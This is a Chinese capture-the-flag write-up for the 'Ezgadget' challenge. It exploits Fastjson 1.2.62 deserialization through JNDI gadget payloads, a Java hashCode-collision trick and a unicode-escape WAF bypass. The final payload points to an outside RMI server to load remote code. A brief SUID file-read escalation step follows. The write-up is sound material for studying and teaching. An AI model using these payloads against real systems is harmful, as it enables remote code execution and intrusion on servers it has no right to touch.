蓝帽-Ezgadget

Ez_gadget

主要逻辑代码,对字符串进行了简单的waf

image-20220728143829955

fastjson的版本 1.2.62

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.62</version>
</dependency>

一些对应版本的exp

1
https://github.com/safe6Sec/Fastjson

找到对应1.2.62的exp,看使用条件满足,存在xbean-reflect包,还有autotype

1
2
3
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}

{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}

访问时候有个hash值,构造与之相等的hashcode,才能过判断到解析

1
https://blog.csdn.net/weixin_44245828/article/details/109853439

代码为,一般是找两个位置这一块的大写字母

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class test {
public static void main(String[] args) {
String str01 = "aSvwEA4XFvEpTbjz";
String str02 = "aSvwEA4WevEpTbjz";
System.out.println("str1.hashCode(): " + str01.hashCode());
System.out.println("str2.hashCode(): " + str02.hashCode());
}
}

// 构造 31 * (a1 - b1) = b2 - a2 所以找个两个大写同时出现的位置容易满足条件
// a1 = X 88
// a2 = F 70
// b1 = W 87
// b2 = e 101

//str1.hashCode(): 1387364012
//str2.hashCode(): 1387364012

项目里面也提到,Fastjson默认会去除键、值外的空格、\b\n\r\f等,同时还会自动将键与值进行unicode与十六进制解码。

image-20220728144354617

unicode绕

1
str=xH8b2iQfPbGejJgs&input={"@type":"\u006F\u0072\u0067\u002E\u0061\u0070\u0061\u0063\u0068\u0065\u002E\u0078\u0062\u0065\u0061\u006E\u002E\u0070\u0072\u006F\u0070\u0065\u0072\u0074\u0079\u0065\u0064\u0069\u0074\u006F\u0072\u002E\u004A\u006E\u0064\u0069\u0043\u006F\u006E\u0076\u0065\u0072\u0074\u0065\u0072","AsText":"\u0072\u006D\u0069\u003A\u002F\u002F\u0038\u0031\u002E\u0037\u0030\u002E\u0035\u0039\u002E\u0031\u0031\u0032\u003A\u0031\u0030\u0039\u0039\u002F\u0034\u006F\u0036\u0077\u0073\u006A"}

image-20220728144223083

因为有spring所以用spring那个rmi地址 rmi://81.70.59.112:1099/4o6wsj

image-20220728144258975

没权限

image-20220728144311244

suid

image-20220728144323424

date读文件

image-20220728144337873